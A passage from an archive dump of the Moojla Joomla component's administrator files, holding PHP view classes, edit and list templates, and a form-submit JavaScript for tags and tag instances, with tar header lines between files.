JHtml::tooltipText('JSEARCH_FILTER_SUBMIT'); ?>"><i
class="icon-search"></i></button>
            <button type="button" class="btn
hasTooltip" title="<?php echo
JHtml::tooltipText('JSEARCH_FILTER_CLEAR'); ?>"
onclick="document.id('filter_search').value='';this.form.submit();"><i
class="icon-remove"></i></button>
        </div>
        <div class="btn-group pull-right hidden-phone">
            <label for="limit"
class="element-invisible"><?php echo
JText::_('JFIELD_PLG_SEARCH_SEARCHLIMIT_DESC');?></label>
            <?php echo $this->pagination->getLimitBox(); ?>
        </div>
        <div class="btn-group pull-right hidden-phone">
            <label for="directionTable"
class="element-invisible"><?php echo
JText::_('JFIELD_ORDERING_DESC');?></label>
            <select name="directionTable"
id="directionTable" class="input-medium"
onchange="Joomla.orderTable()">
                <option value=""><?php echo
JText::_('JFIELD_ORDERING_DESC');?></option>
                <option value="asc" <?php if
($this->listDirn == 'asc') echo
'selected="selected"'; ?>><?php echo
JText::_('JGLOBAL_ORDER_ASCENDING');?></option>
                <option value="desc" <?php if
($this->listDirn == 'desc') echo
'selected="selected"'; ?>><?php echo
JText::_('JGLOBAL_ORDER_DESCENDING');?></option>
            </select>
        </div>
        <div class="btn-group pull-right">
            <label for="sortTable"
class="element-invisible"><?php echo
JText::_('JGLOBAL_SORT_BY');?></label>
            <select name="sortTable" id="sortTable"
class="input-medium" onchange="Joomla.orderTable()">
                <option value=""><?php echo
JText::_('JGLOBAL_SORT_BY');?></option>
                <?php echo JHtml::_('select.options',
$this->getSortFields(), 'value', 'text',
$this->listOrder);?>
            </select>
        </div>
    </div>
<div class="clearfix">
</div>views/tags/tmpl/index.html000064400000000054151165724410011615
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/tags/view.html.php000064400000015706151165724410011304
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		view.html.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

/**
 * Moojla View class for the Tags
 */
class MoojlaViewTags extends JViewLegacy
{
	/**
	 * Tags view display method
	 * @return void
	 */
	function display($tpl = null)
	{
		if ($this->getLayout() !== 'modal')
		{
			// Include helper submenu
			MoojlaHelper::addSubmenu('tags');
		}

		// Assign data to the view
		$this->items = $this->get('Items');
		$this->pagination = $this->get('Pagination');
		$this->state = $this->get('State');
		$this->user = JFactory::getUser();
		// Load the filter form from xml.
		$this->filterForm = $this->get('FilterForm');
		// Load the active filters.
		$this->activeFilters = $this->get('ActiveFilters');
		// Add the list ordering clause.
		$this->listOrder =
$this->escape($this->state->get('list.ordering',
'a.id'));
		$this->listDirn =
$this->escape($this->state->get('list.direction',
'DESC'));
		$this->saveOrder = $this->listOrder == 'a.ordering';
		// set the return here value
		$this->return_here = urlencode(base64_encode((string)
JUri::getInstance()));
		// get global action permissions
		$this->canDo = MoojlaHelper::getActions('tag');
		$this->canEdit = $this->canDo->get('core.edit');
		$this->canState =
$this->canDo->get('core.edit.state');
		$this->canCreate = $this->canDo->get('core.create');
		$this->canDelete = $this->canDo->get('core.delete');
		$this->canBatch = $this->canDo->get('core.batch');

		// We don't need toolbar in the modal window.
		if ($this->getLayout() !== 'modal')
		{
			$this->addToolbar();
			$this->sidebar = JHtmlSidebar::render();
			// load the batch html
			if ($this->canCreate && $this->canEdit &&
$this->canState)
			{
				$this->batchDisplay = JHtmlBatch_::render();
			}
		}
		
		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		// Display the template
		parent::display($tpl);

		// Set the document
		$this->setDocument();
	}

	/**
	 * Setting the toolbar
	 */
	protected function addToolBar()
	{
		JToolBarHelper::title(JText::_('COM_MOOJLA_TAGS'),
'tag');
		JHtmlSidebar::setAction('index.php?option=com_moojla&view=tags');
		JFormHelper::addFieldPath(JPATH_COMPONENT . '/models/fields');

		if ($this->canCreate)
		{
			JToolBarHelper::addNew('tag.add');
		}

		// Only load if there are items
		if (MoojlaHelper::checkArray($this->items))
		{
			if ($this->canEdit)
			{
				JToolBarHelper::editList('tag.edit');
			}

			if ($this->canState)
			{
				JToolBarHelper::publishList('tags.publish');
				JToolBarHelper::unpublishList('tags.unpublish');
				JToolBarHelper::archiveList('tags.archive');

				if ($this->canDo->get('core.admin'))
				{
					JToolBarHelper::checkin('tags.checkin');
				}
			}

			// Add a batch button
			if ($this->canBatch && $this->canCreate &&
$this->canEdit && $this->canState)
			{
				// Get the toolbar object instance
				$bar = JToolBar::getInstance('toolbar');
				// set the batch button name
				$title = JText::_('JTOOLBAR_BATCH');
				// Instantiate a new JLayoutFile instance and render the batch button
				$layout = new JLayoutFile('joomla.toolbar.batch');
				// add the button to the page
				$dhtml = $layout->render(array('title' => $title));
				$bar->appendButton('Custom', $dhtml, 'batch');
			}

			if ($this->state->get('filter.published') == -2
&& ($this->canState && $this->canDelete))
			{
				JToolbarHelper::deleteList('', 'tags.delete',
'JTOOLBAR_EMPTY_TRASH');
			}
			elseif ($this->canState && $this->canDelete)
			{
				JToolbarHelper::trash('tags.trash');
			}
		}

		// set help url for this view if found
		$help_url = MoojlaHelper::getHelpUrl('tags');
		if (MoojlaHelper::checkString($help_url))
		{
				JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
		}

		// add the options comp button
		if ($this->canDo->get('core.admin') ||
$this->canDo->get('core.options'))
		{
			JToolBarHelper::preferences('com_moojla');
		}

		// Only load published batch if state and batch is allowed
		if ($this->canState && $this->canBatch)
		{
			JHtmlBatch_::addListSelection(
				JText::_('COM_MOOJLA_KEEP_ORIGINAL_STATE'),
				'batch[published]',
				JHtml::_('select.options',
JHtml::_('jgrid.publishedOptions', array('all' =>
false)), 'value', 'text', '', true)
			);
		}

		// Only load access batch if create, edit and batch is allowed
		if ($this->canBatch && $this->canCreate &&
$this->canEdit)
		{
			JHtmlBatch_::addListSelection(
				JText::_('COM_MOOJLA_KEEP_ORIGINAL_ACCESS'),
				'batch[access]',
				JHtml::_('select.options',
JHtml::_('access.assetgroups'), 'value',
'text')
			);
		}
	}

	/**
	 * Method to set up the document properties
	 *
	 * @return void
	 */
	protected function setDocument()
	{
		if (!isset($this->document))
		{
			$this->document = JFactory::getDocument();
		}
		$this->document->setTitle(JText::_('COM_MOOJLA_TAGS'));
		$this->document->addStyleSheet(JURI::root() .
"administrator/components/com_moojla/assets/css/tags.css",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') : 'text/css');
	}

	/**
	 * Escapes a value for output in a view script.
	 *
	 * @param   mixed  $var  The output to escape.
	 *
	 * @return  mixed  The escaped value.
	 */
	public function escape($var)
	{
		if(strlen($var) > 50)
		{
			// use the helper htmlEscape method instead and shorten the string
			return MoojlaHelper::htmlEscape($var, $this->_charset, true);
		}
		// use the helper htmlEscape method instead.
		return MoojlaHelper::htmlEscape($var, $this->_charset);
	}

	/**
	 * Returns an array of fields the table can be sorted by
	 *
	 * @return  array  Array containing the field name to sort by as the key
and display text as value
	 */
	protected function getSortFields()
	{
		return array(
			'a.ordering' =>
JText::_('JGRID_HEADING_ORDERING'),
			'a.published' => JText::_('JSTATUS'),
			'a.tagid' =>
JText::_('COM_MOOJLA_TAG_TAGID_LABEL'),
			'a.tagname' =>
JText::_('COM_MOOJLA_TAG_TAGNAME_LABEL'),
			'a.id' => JText::_('JGRID_HEADING_ID')
		);
	}
}
views/tag_instance/submitbutton.js000064400000002751151165724410013450
0ustar00/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		submitbutton.js
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

Joomla.submitbutton = function(task)
{
	if (task == ''){
		return false;
	} else { 
		var action = task.split('.');
		if (action[1] == 'cancel' || action[1] == 'close' ||
document.formvalidator.isValid(document.getElementById("adminForm"))){
			Joomla.submitform(task, document.getElementById("adminForm"));
			return true;
		} else {
			alert(Joomla.JText._('tag_instance, some values are not
acceptable.','Some values are unacceptable'));
			return false;
		}
	}
}views/tag_instance/tmpl/edit.php000064400000011404151165724410012760
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		edit.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

JHtml::addIncludePath(JPATH_COMPONENT.'/helpers/html');
JHtml::_('behavior.tooltip');
JHtml::_('behavior.formvalidation');
JHtml::_('formbehavior.chosen', 'select');
JHtml::_('behavior.keepalive');
$componentParams = $this->params; // will be removed just use
$this->params instead
?>
<script type="text/javascript">
	// waiting spinner
	var outerDiv = jQuery('body');
	jQuery('<div id="loading"></div>')
		.css("background", "rgba(255, 255, 255, .8)
url('components/com_moojla/assets/images/import.gif') 50% 15%
no-repeat")
		.css("top", outerDiv.position().top -
jQuery(window).scrollTop())
		.css("left", outerDiv.position().left -
jQuery(window).scrollLeft())
		.css("width", outerDiv.width())
		.css("height", outerDiv.height())
		.css("position", "fixed")
		.css("opacity", "0.80")
		.css("-ms-filter",
"progid:DXImageTransform.Microsoft.Alpha(Opacity = 80)")
		.css("filter", "alpha(opacity = 80)")
		.css("display", "none")
		.appendTo(outerDiv);
	jQuery('#loading').show();
	// when page is ready remove and show
	jQuery(window).load(function() {
		jQuery('#moojla_loader').fadeIn('fast');
		jQuery('#loading').hide();
	});
</script>
<div id="moojla_loader" style="display: none;">
<form action="<?php echo
JRoute::_('index.php?option=com_moojla&layout=edit&id='.
(int) $this->item->id . $this->referral); ?>"
method="post" name="adminForm" id="adminForm"
class="form-validate" enctype="multipart/form-data">

<div class="form-horizontal">

	<?php echo JHtml::_('bootstrap.startTabSet',
'tag_instanceTab', array('active' =>
'details')); ?>

	<?php echo JHtml::_('bootstrap.addTab',
'tag_instanceTab', 'details',
JText::_('COM_MOOJLA_TAG_INSTANCE_DETAILS', true)); ?>
		<div class="row-fluid form-horizontal-desktop">
			<div class="span6">
				<?php echo
JLayoutHelper::render('tag_instance.details_left', $this); ?>
			</div>
			<div class="span6">
				<?php echo
JLayoutHelper::render('tag_instance.details_right', $this); ?>
			</div>
		</div>
	<?php echo JHtml::_('bootstrap.endTab'); ?>

	<?php $this->ignore_fieldsets =
array('details','metadata','vdmmetadata','accesscontrol');
?>
	<?php $this->tab_name = 'tag_instanceTab'; ?>
	<?php echo JLayoutHelper::render('joomla.edit.params',
$this); ?>

	<?php if ($this->canDo->get('core.edit.created_by') ||
$this->canDo->get('core.edit.created') ||
$this->canDo->get('core.edit.state') ||
($this->canDo->get('core.delete') &&
$this->canDo->get('core.edit.state'))) : ?>
	<?php echo JHtml::_('bootstrap.addTab',
'tag_instanceTab', 'publishing',
JText::_('COM_MOOJLA_TAG_INSTANCE_PUBLISHING', true)); ?>
		<div class="row-fluid form-horizontal-desktop">
			<div class="span6">
				<?php echo
JLayoutHelper::render('tag_instance.publishing', $this); ?>
			</div>
			<div class="span6">
				<?php echo
JLayoutHelper::render('tag_instance.publlshing', $this); ?>
			</div>
		</div>
	<?php echo JHtml::_('bootstrap.endTab'); ?>
	<?php endif; ?>

	<?php if ($this->canDo->get('core.admin')) : ?>
	<?php echo JHtml::_('bootstrap.addTab',
'tag_instanceTab', 'permissions',
JText::_('COM_MOOJLA_TAG_INSTANCE_PERMISSION', true)); ?>
		<div class="row-fluid form-horizontal-desktop">
			<div class="span12">
				<fieldset class="adminform">
					<div class="adminformlist">
					<?php foreach
($this->form->getFieldset('accesscontrol') as $field):
?>
						<div>
							<?php echo $field->label; echo $field->input;?>
						</div>
						<div class="clearfix"></div>
					<?php endforeach; ?>
					</div>
				</fieldset>
			</div>
		</div>
	<?php echo JHtml::_('bootstrap.endTab'); ?>
	<?php endif; ?>

	<?php echo JHtml::_('bootstrap.endTabSet'); ?>

	<div>
		<input type="hidden" name="task"
value="tag_instance.edit" />
		<?php echo JHtml::_('form.token'); ?>
	</div>
</div>
</form>
</div>
views/tag_instance/tmpl/index.html000064400000000054151165724410013316
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/tag_instance/view.html.php000064400000015410151165724410012775
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		view.html.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

/**
 * Tag_instance View class
 */
class MoojlaViewTag_instance extends JViewLegacy
{
	/**
	 * display method of View
	 * @return void
	 */
	public function display($tpl = null)
	{
		// set params
		$this->params = JComponentHelper::getParams('com_moojla');
		// Assign the variables
		$this->form = $this->get('Form');
		$this->item = $this->get('Item');
		$this->script = $this->get('Script');
		$this->state = $this->get('State');
		// get action permissions
		$this->canDo = MoojlaHelper::getActions('tag_instance',
$this->item);
		// get input
		$jinput = JFactory::getApplication()->input;
		$this->ref = $jinput->get('ref', 0, 'word');
		$this->refid = $jinput->get('refid', 0, 'int');
		$return = $jinput->get('return', null, 'base64');
		// set the referral string
		$this->referral = '';
		if ($this->refid && $this->ref)
		{
			// return to the item that referred to this item
			$this->referral = '&ref=' . (string)$this->ref .
'&refid=' . (int)$this->refid;
		}
		elseif($this->ref)
		{
			// return to the list view that referred to this item
			$this->referral = '&ref=' . (string)$this->ref;
		}
		// check return value
		if (!is_null($return))
		{
			// add the return value
			$this->referral .= '&return=' . (string)$return;
		}

		// Set the toolbar
		$this->addToolBar();
		
		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		// Display the template
		parent::display($tpl);

		// Set the document
		$this->setDocument();
	}


	/**
	 * Setting the toolbar
	 */
	protected function addToolBar()
	{
		JFactory::getApplication()->input->set('hidemainmenu',
true);
		$user = JFactory::getUser();
		$userId	= $user->id;
		$isNew = $this->item->id == 0;

		JToolbarHelper::title( JText::_($isNew ?
'COM_MOOJLA_TAG_INSTANCE_NEW' :
'COM_MOOJLA_TAG_INSTANCE_EDIT'), 'pencil-2
article-add');
		// Built the actions for new and existing records.
		if (MoojlaHelper::checkString($this->referral))
		{
			if ($this->canDo->get('core.create') && $isNew)
			{
				// We can create the record.
				JToolBarHelper::save('tag_instance.save',
'JTOOLBAR_SAVE');
			}
			elseif ($this->canDo->get('core.edit'))
			{
				// We can save the record.
				JToolBarHelper::save('tag_instance.save',
'JTOOLBAR_SAVE');
			}
			if ($isNew)
			{
				// Do not creat but cancel.
				JToolBarHelper::cancel('tag_instance.cancel',
'JTOOLBAR_CANCEL');
			}
			else
			{
				// We can close it.
				JToolBarHelper::cancel('tag_instance.cancel',
'JTOOLBAR_CLOSE');
			}
		}
		else
		{
			if ($isNew)
			{
				// For new records, check the create permission.
				if ($this->canDo->get('core.create'))
				{
					JToolBarHelper::apply('tag_instance.apply',
'JTOOLBAR_APPLY');
					JToolBarHelper::save('tag_instance.save',
'JTOOLBAR_SAVE');
					JToolBarHelper::custom('tag_instance.save2new',
'save-new.png', 'save-new_f2.png',
'JTOOLBAR_SAVE_AND_NEW', false);
				};
				JToolBarHelper::cancel('tag_instance.cancel',
'JTOOLBAR_CANCEL');
			}
			else
			{
				if ($this->canDo->get('core.edit'))
				{
					// We can save the new record
					JToolBarHelper::apply('tag_instance.apply',
'JTOOLBAR_APPLY');
					JToolBarHelper::save('tag_instance.save',
'JTOOLBAR_SAVE');
					// We can save this record, but check the create permission to see
					// if we can return to make a new one.
					if ($this->canDo->get('core.create'))
					{
						JToolBarHelper::custom('tag_instance.save2new',
'save-new.png', 'save-new_f2.png',
'JTOOLBAR_SAVE_AND_NEW', false);
					}
				}
				$canVersion = ($this->canDo->get('core.version')
&& $this->canDo->get('tag_instance.version'));
				if ($this->state->params->get('save_history', 1)
&& $this->canDo->get('core.edit') &&
$canVersion)
				{
					JToolbarHelper::versions('com_moojla.tag_instance',
$this->item->id);
				}
				if ($this->canDo->get('core.create'))
				{
					JToolBarHelper::custom('tag_instance.save2copy',
'save-copy.png', 'save-copy_f2.png',
'JTOOLBAR_SAVE_AS_COPY', false);
				}
				JToolBarHelper::cancel('tag_instance.cancel',
'JTOOLBAR_CLOSE');
			}
		}
		JToolbarHelper::divider();
		// set help url for this view if found
		$help_url = MoojlaHelper::getHelpUrl('tag_instance');
		if (MoojlaHelper::checkString($help_url))
		{
			JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
		}
	}

	/**
	 * Escapes a value for output in a view script.
	 *
	 * @param   mixed  $var  The output to escape.
	 *
	 * @return  mixed  The escaped value.
	 */
	public function escape($var)
	{
		if(strlen($var) > 30)
		{
    		// use the helper htmlEscape method instead and shorten the string
			return MoojlaHelper::htmlEscape($var, $this->_charset, true, 30);
		}
		// use the helper htmlEscape method instead.
		return MoojlaHelper::htmlEscape($var, $this->_charset);
	}

	/**
	 * Method to set up the document properties
	 *
	 * @return void
	 */
	protected function setDocument()
	{
		$isNew = ($this->item->id < 1);
		if (!isset($this->document))
		{
			$this->document = JFactory::getDocument();
		}
		$this->document->setTitle(JText::_($isNew ?
'COM_MOOJLA_TAG_INSTANCE_NEW' :
'COM_MOOJLA_TAG_INSTANCE_EDIT'));
		$this->document->addStyleSheet(JURI::root() .
"administrator/components/com_moojla/assets/css/tag_instance.css",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') : 'text/css');
		$this->document->addScript(JURI::root() . $this->script,
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') :
'text/javascript');
		$this->document->addScript(JURI::root() .
"administrator/components/com_moojla/views/tag_instance/submitbutton.js",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') :
'text/javascript'); 
		JText::script('view not acceptable. Error');
	}
}
views/tag_instances/index.html000064400000000054151165724410012525
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/tag_instances/tmpl/default.php000064400000006014151165724410013643
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

JHtml::_('behavior.tooltip');
JHtml::_('behavior.multiselect');
JHtml::_('dropdown.init');
JHtml::_('formbehavior.chosen',
'.multipleAccessLevels', null,
array('placeholder_text_multiple' => '- ' .
JText::_('COM_MOOJLA_FILTER_SELECT_ACCESS') . ' -'));
JHtml::_('formbehavior.chosen', 'select');
if ($this->saveOrder)
{
	$saveOrderingUrl =
'index.php?option=com_moojla&task=tag_instances.saveOrderAjax&tmpl=component';
	JHtml::_('sortablelist.sortable', 'tag_instanceList',
'adminForm', strtolower($this->listDirn), $saveOrderingUrl);
}
?>
<form action="<?php echo
JRoute::_('index.php?option=com_moojla&view=tag_instances');
?>" method="post" name="adminForm"
id="adminForm">
<?php if(!empty( $this->sidebar)): ?>
	<div id="j-sidebar-container" class="span2">
		<?php echo $this->sidebar; ?>
	</div>
	<div id="j-main-container" class="span10">
<?php else : ?>
	<div id="j-main-container">
<?php endif; ?>
<?php
	// Add the searchtools
	echo JLayoutHelper::render('joomla.searchtools.default',
array('view' => $this));
?>
<?php if (empty($this->items)): ?>
	<div class="alert alert-no-items">
		<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
	</div>
<?php else : ?>
	<table class="table table-striped"
id="tag_instanceList">
		<thead><?php echo
$this->loadTemplate('head');?></thead>
		<tfoot><?php echo
$this->loadTemplate('foot');?></tfoot>
		<tbody><?php echo
$this->loadTemplate('body');?></tbody>
	</table>
	<?php // Load the batch processing form. ?>
	<?php if ($this->canCreate && $this->canEdit) : ?>
		<?php echo JHtml::_(
			'bootstrap.renderModal',
			'collapseModal',
			array(
				'title' =>
JText::_('COM_MOOJLA_TAG_INSTANCES_BATCH_OPTIONS'),
				'footer' =>
$this->loadTemplate('batch_footer')
			),
			$this->loadTemplate('batch_body')
		); ?>
	<?php endif; ?>
	<input type="hidden" name="boxchecked"
value="0" />
	</div>
<?php endif; ?>
	<input type="hidden" name="task" value=""
/>
	<?php echo JHtml::_('form.token'); ?>
</form>
views/tag_instances/tmpl/default_batch_body.php000064400000002340151165724410016017
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_batch_body.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>

<p><?php echo
JText::_('COM_MOOJLA_TAG_INSTANCES_BATCH_TIP'); ?></p>
<?php echo $this->batchDisplay;
?>views/tag_instances/tmpl/default_batch_footer.php000064400000002736151165724410016371
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_batch_footer.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>
<!-- clear the batch values if cancel -->
<button class="btn" type="button"
onclick="" data-dismiss="modal">
	<?php echo JText::_('JCANCEL'); ?>
</button>
<!-- post the batch values if process -->
<button class="btn btn-success" type="submit"
onclick="Joomla.submitbutton('tag_instance.batch');">
	<?php echo JText::_('JGLOBAL_BATCH_PROCESS'); ?>
</button>views/tag_instances/tmpl/default_body.php000064400000007653151165724410014672
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_body.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

$edit =
"index.php?option=com_moojla&view=tag_instances&task=tag_instance.edit";

?>
<?php foreach ($this->items as $i => $item): ?>
	<?php
		$canCheckin = $this->user->authorise('core.manage',
'com_checkin') || $item->checked_out == $this->user->id
|| $item->checked_out == 0;
		$userChkOut = JFactory::getUser($item->checked_out);
		$canDo =
MoojlaHelper::getActions('tag_instance',$item,'tag_instances');
	?>
	<tr class="row<?php echo $i % 2; ?>">
		<td class="order nowrap center hidden-phone">
		<?php if ($canDo->get('core.edit.state')): ?>
			<?php
				$iconClass = '';
				if (!$this->saveOrder)
				{
					$iconClass = ' inactive tip-top" hasTooltip"
title="' . JHtml::tooltipText('JORDERINGDISABLED');
				}
			?>
			<span class="sortable-handler<?php echo $iconClass;
?>">
				<i class="icon-menu"></i>
			</span>
			<?php if ($this->saveOrder) : ?>
				<input type="text" style="display:none"
name="order[]" size="5"
				value="<?php echo $item->ordering; ?>"
class="width-20 text-area-order " />
			<?php endif; ?>
		<?php else: ?>
			&#8942;
		<?php endif; ?>
		</td>
		<td class="nowrap center">
		<?php if ($canDo->get('core.edit')): ?>
				<?php if ($item->checked_out) : ?>
					<?php if ($canCheckin) : ?>
						<?php echo JHtml::_('grid.id', $i, $item->id); ?>
					<?php else: ?>
						&#9633;
					<?php endif; ?>
				<?php else: ?>
					<?php echo JHtml::_('grid.id', $i, $item->id); ?>
				<?php endif; ?>
		<?php else: ?>
			&#9633;
		<?php endif; ?>
		</td>
		<td class="nowrap">
			<div class="name">
